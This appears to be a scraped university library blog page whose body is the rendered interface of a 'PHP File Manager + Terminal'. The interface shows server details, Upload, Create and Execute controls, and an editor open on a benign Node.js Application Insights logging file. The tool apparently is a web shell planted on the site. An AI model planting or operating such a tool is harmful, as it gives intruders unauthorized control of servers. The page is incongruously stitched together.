Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //agents/nodejs/build/src Upload Create File Create Folder Execute Editing: /agents/nodejs/build/src/azureFnWriter.js"use strict"; exports.__esModule = true; exports.AzureFunctionsWriter = void 0; var types_1 = require("./types"); var AZURE_FUNCTIONS_DIAGNOSTIC_PREFIX = "LanguageWorkerConsoleLogMS_APPLICATION_INSIGHTS_LOGS"; var AzureFunctionsWriter = /** @class */ (function () { function AzureFunctionsWriter(instrumentationKey) { this._instrumentationKey = instrumentationKey; this._appName = types_1.AZURE_APP_NAME; this._agentVersion = types_1.APPLICATION_INSIGHTS_AGENT_VERSION; } AzureFunctionsWriter.prototype.log = function (log) { console.info(this._getAzureFnLog(log)); }; AzureFunctionsWriter.prototype.error = function (log) { console.error(this._getAzureFnLog(log)); }; AzureFunctionsWriter.prototype._getAzureFnLog = function (log) { var output = AZURE_FUNCTIONS_DIAGNOSTIC_PREFIX + " " + log.time + "," + log.level + "," + log.logger + ",\"" + log.message + "\"," + this._appName + "," + this._instrumentationKey + "," + this._agentVersion + ",node.js"; return output; }; return AzureFunctionsWriter; }()); exports.AzureFunctionsWriter = AzureFunctionsWriter; Save